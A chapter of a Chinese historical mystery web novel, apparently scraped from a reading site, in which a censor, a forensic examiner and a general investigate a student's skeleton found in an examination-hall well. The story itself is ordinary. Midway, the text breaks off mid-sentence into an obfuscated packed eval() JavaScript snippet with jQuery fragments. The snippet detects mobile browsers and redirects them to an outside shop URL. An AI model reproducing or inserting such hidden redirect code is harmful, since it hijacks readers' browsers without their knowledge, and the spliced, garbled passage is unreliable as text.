默认冷灰
24号文字
方正启体

1. 雨夜井骨

作者:柒人太甚本书字数:K更新时间:
    夜雨打在贡院那片旧瓦上,声音散得很。


    陆文渊站在廊下,下摆湿透了也没挪地方。他盯着院里那口井,火把把人影晃得乱七八糟,井口一圈亮,底下是黑的。水腥气混着泥味儿涌上来,他想,三更天了,本来应该在御史台值房看那些永远看不完的案卷。


    现在站这儿,看人捞尸。


    “陆大人。”刑部的沈知意蹲在井边石头上,裙子下摆沾了泥。她手里捏着把小刷子,正在清理骷髅手指缝里的泥。火把离得近,照得她半边脸发红。“男的,二十出头,骨头没毛病,活着时候身体挺好。”


    陆文渊往前走了两步,雨点子顺着瓦檐砸下来,在他肩膀上碎开。他低头看那具骨头架子,颅骨上两个黑洞,正对着天。


    “死多久了?”


    “三年差不多。”沈知意用镊子从脖子骨头缝里夹出点布渣子,凑到火把下看,“细棉布,洗过很多水,领口袖口有织锦镶边——国子监的衣裳。”


    陆文渊没吭声。三年前春闱放榜那晚,也是下雨。他同屋的陈砚,考完就没回来。三天后护城河漂起一具尸,衙门说是落榜想不开,投河了。


    陈砚那人,会想不开?他跟陆文渊说过,科场不公,那就撞破这不公。


    “有能认身份的东西吗?”陆文渊嗓子有点干。


    沈知意摇摇头,让人把骨头翻过来。翻到后背的时候,她手停了。


    “这儿。”


    陆文渊蹲下。火光凑近了看,第三节腰椎右边,有道竖着的深印子,不是动物啃的,也不是烂的,边缘齐整,像被什么东西反复凿过。


    “活着时候弄的。”沈知意拿手指虚着比划,“口子窄深,铁钉子或者锥子一类的东西。但奇怪的是——”她把手臂骨抬起来,“胳膊、肋骨都没有挡的伤。他挨这一下的时候,没反抗,或者反抗不了。”


    陆文渊站直了,雨顺着下巴往下淌。“这案子,刑部打算怎么办?”


    沈知意也站起来,接过差役递的布擦手。“没主的骨头,没苦主,又过了三年,验完转京兆府,找个地方埋了。”


    “我当苦主呢?”陆文渊看她。


    沈知意抬眼打量他。这个新来的御史二十五六,脸长得干净,眼神却沉。她听过这人——去年状元,殿试上直接说吏部考课有问题,被塞进了御史台。清流拿他当枪使,世家看他碍眼。


    “陆大人认识死者?”


    “也许。”陆文渊从袖子里摸出个油纸包,打开,里头是枚青玉扳指,内侧刻着两个字:守心。“三年前国子监有个叫陈砚的,跟我同屋。他左手中指常年戴这个,尺寸应该合适。”


    沈知意没接话,过了一会儿说:“就算认了,过了三年,证据都烂了,凶手找不着。”


    “找不着也得找。”陆文渊把扳指收回去,“沈主事验骨头有一手,骨头不会撒谎。这道印子就是凶器说的。找到凶器,也许能找到使凶器的人。”


    “陆大人要插手刑部的案子?”


    “御史台有监察刑狱的职责。”陆文渊扭头看那口井,“井在贡院里,贡院归礼部管。春闱快开了,贡院挖出死人,这事儿跟朝廷选人面子有关,也跟……三年前那些落榜的寒门学生有关系。”


    最后几个字他放得很轻。


    沈知意看着他,过了一会儿说:“骨头得带回刑部细验。腰上那道印子,我尽量拓下来。但是陆大人,”她顿了顿,“井底下不光是这具骨头。”


    她让人拎过一个湿麻袋。袋口解开,倒出一堆烂东西:几块碎瓦片、一坨烂绳子,还有——一枚糊满泥的铜簪子。


    簪身细长,簪头不是寻常花草,是个螺旋锥子形,尖儿上反着暗红的光。


    陆文渊接过来,用手擦掉泥。簪身靠近尖儿的地方有几道细划痕。


    “这是……”


    “跟腰上那道印子比对过,形状差不多。”沈知意说,“但这东西不是女人戴的。这种螺旋头,更像什么特制的家伙,或者什么信物。”


    陆文渊凑到火把下看。泥擦干净了,簪身上有极浅的刻字,磨得快没了,勉强认出两个篆字:


    “墨……髓。”


    后半夜雨小了。


    陆文渊没回御史台,拐进皇城根一条僻静巷子。巷底有个早点铺子,门板关着,挂着褪色的“冯记豆浆”布幌子。他抬手敲门,三长两短。


    过了一会儿门开条缝,一个睡眼惺忪的半大小子探出头,看清是他,赶紧让进去。


    铺子后头地方窄,豆腥味儿呛人。灶台边有个穿短褂的青年正挽袖子推磨,抬头看了他一眼。


    “陆大人升官了还来我这破地儿?”青年继续推磨,豆浆汩汩往外流。


    陆文渊没理他这茬,从怀里掏出用帕子包好的铜簪,放旁边桌上。“认得吗?”


    青年叫景珏,瞟了一眼。“铜的,女人戴的。怎么,有相好的了?”


    “墨髓斋的东西。”陆文渊说。


    石磨停了一瞬。


    景珏慢吞吞洗了手,在围裙上蹭干,过来拿起簪子细看。油灯昏黄,他脸上那点散漫没了。


    “哪儿弄的?”


    “贡院井里,跟一具死了三年的国子监生在一块。那人腰上有这簪子扎的印子。”


    景珏翻来覆去看了一会儿,笑了一声。“墨髓斋……西市一家卖印章石料的铺子,东西贵,那些附庸风雅的官老爷爱去。背地里,”他把簪子放下,“是高家递消息的门路,掌柜的是高世衡夫人的远亲。三年前关了,说是掌柜的回老家了。”


    “高家。”陆文渊不意外。吏部尚书高世衡,门生满天下,一间小铺子算什么。


    “但这簪子,”景珏拿指甲刮那刻纹,“不是墨髓斋卖的东西。这螺旋头,我见过。”


    “哪儿?”


    “五年前北境。”景珏又推起磨来,声音混在石磨声里有点闷,“一种破甲锥,专门对付戎狄锁子甲的。锥头带螺旋,能拧进铁环缝里。太贵,只配给精锐斥候和……有些干特殊活的。后来改制,这批家伙销账了,说回炉重铸。”


    陆文渊心里沉了一下。贡院井底,死学生,高家铺子,边军兵器——这几条线在雨夜里绞到一块儿。


    “能查到这簪子原来是谁的吗?”


    “悬。”景珏摇头,“军械出库就是本烂账,何况过了五年。不过……”他停下磨,从旁边竹筒里捏出点豆粉,在沾水渍的桌面上画了个方位,“墨髓斋关了,老掌柜没走远。南城桂花巷最里头开了个棺材铺,兼刻碑。你去问问,他记性好,尤其是买过特殊东西的客人。”


    陆文渊记下。“多谢。”


    “别谢。”景珏继续推磨,声音低下去,“高世衡那老东西鼻子灵。你查墨髓斋,他早晚知道。陆文渊,你现在是御史,不是当年那个在国子监写血书联名告状的愣头青了。陈砚的案子,水深,你那同屋未必是私怨死的。”


    “我知道。”陆文渊把簪子收起来,“但水再深,也得有人趟。不然这井底的白骨,只会越来越多。”


    他转身要走。


    “陆文渊。”景珏在身后叫住他,没回头,背着身推磨,“春闱又快了。今年主持的是礼部右侍郎周允,高世衡的门生,也常去三皇子府上。”


    陆文渊脚下一顿。


    “留神。”景珏的声音混在磨盘声里,“别成了下一具井底骨头。”


    天快亮的时候,陆文渊回到御史台值房。袍子没换,先铺纸研墨。他得写份奏疏,理由得够大——“贡院惊现骸骨,关乎朝廷抡才大典体面”,求彻查。话得说得够圆,不能惊动暗处的蛇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345062|199504||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    笔刚落下,门响了。


    “陆大人。”声音沉,带着边塞风沙磨过的粗粝。


    陆文渊抬头。门口站着个人,块头大,官服下能看见肌肉鼓着,左脸一道箭疤从眼角拉到下巴。枢密院副使,谢明琮。


    “谢将军?”陆文渊搁笔站起来。他跟这人没交情,只在朝会上远远见过几次,印象里是个不大说话、眼神像刀子的。


    谢明琮跨进来,反手带上门。他扫了眼案上刚写了个头的奏疏,又看看陆文渊肩头还没干的雨印子。


    “陆大人昨夜去了贡院。”


    不是问,是说。


    陆文渊心里转了转,脸上不动。“御史台有监察的职责,贡院出事,该去。”


    谢明琮从怀里掏出件东西,放桌上。是块旧铜腰牌,边磨圆了,正面刻模糊的云纹,背面有个“陈”字。


    “今早我亲兵清理旧物翻出来的。”谢明琮声音没起伏,“五年前我在北境带兵,手下有个参军叫陈远,人耿直,帮我处理文书。他有个独子,念书好,他倾家底送进国子监,指望改换门庭。三年前春闱,儿子进贡院考试,再没出来。陈远多方打听,得了句‘投水自尽’,半年后郁郁死了。死前托人把这腰牌带给我,说有机会,替他问一句:他儿子,究竟怎么死的。”


    陆文渊拿起腰牌。“陈”字刻得深,一笔一划都透着劲。


    “陈参军的儿子,叫什么?”


    “陈砚。”


    陆文渊闭了闭眼。井底的白骨,青玉扳指,同窗那张脸,还有那句“文渊,我这次要是落榜,就回乡开个蒙学,教孩子认字,总能活下去”……碎片哗啦啦拼到一块儿。


    “谢将军为什么给我这个?”


    “因为今早我还收到个信儿。”谢明琮盯着他,目光像钉子,“刑部从贡院井里捞出来的骨头,腰上佩玉的样子,跟陈远当年说他儿子随身那块一样。而陆大人你,是陈砚在国子监时,唯一走得近的人。”


    他往前走了一步,人高马大,压过来。“陆大人,我知道你想查。但这事儿牵扯的可能不止一具骨头,一个落第学生。陈远当年私底下跟我说过,他儿子信里提,进国子监后发现些‘不干净’的事,跟科场有关,没敢细说。没多久,人就没了。”


    谢明琮又从怀里掏出张叠得仔细的纸,展开。上头画着几样兵器样子,其中一种,正是螺旋锥头的短刺。


    “这是北军五年前淘汰的一批军械图样,本来该销。但兵部存档乱,有十八支这种破甲锥,登的是‘损耗’,没具体去向。而昨晚井里找着的凶器,跟这一模一样。”他指尖点在那锥形图上,“陆大人,一桩三年前的科举命案,凶器是五年前军中兵器。你觉得,这是凑巧吗?”


    陆文渊看着图,又看看手里陈远那块腰牌。井底那股寒气,顺着脊梁骨往上爬。


    “谢将军想要什么?”


    “真相。”谢明琮斩钉截铁,“陈远是我袍泽,他儿子不能死得不明不白。军中器械流出去,更是大忌。但我人在京里,走动不方便。你是御史,有查的权。你跟我,你查朝堂科场,我查军械来路。”


    “将军不怕惹祸?这事儿要是真扯上科场,背后水有多深,不好说。”


    谢明琮脸上那道箭疤抽了抽,露出个近乎狠的笑。“我在边关,见过的血比这深。陆大人,我就问你一句,敢不敢查到底?”


    陆文渊沉默了一会儿,把陈远的腰牌轻轻搁在那张画着螺旋锥的图上。


    “骨头出来了,就是死人开了口。”他抬起眼,窗外天光渐亮,照进来,眼睛里清清冷冷的,“陆某,听将军的。”


    值房外头,隐隐有官员上朝前的脚步声和低语。


    新的一天开始了。三年前那个雨夜的死人,总算等来了第一道光。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)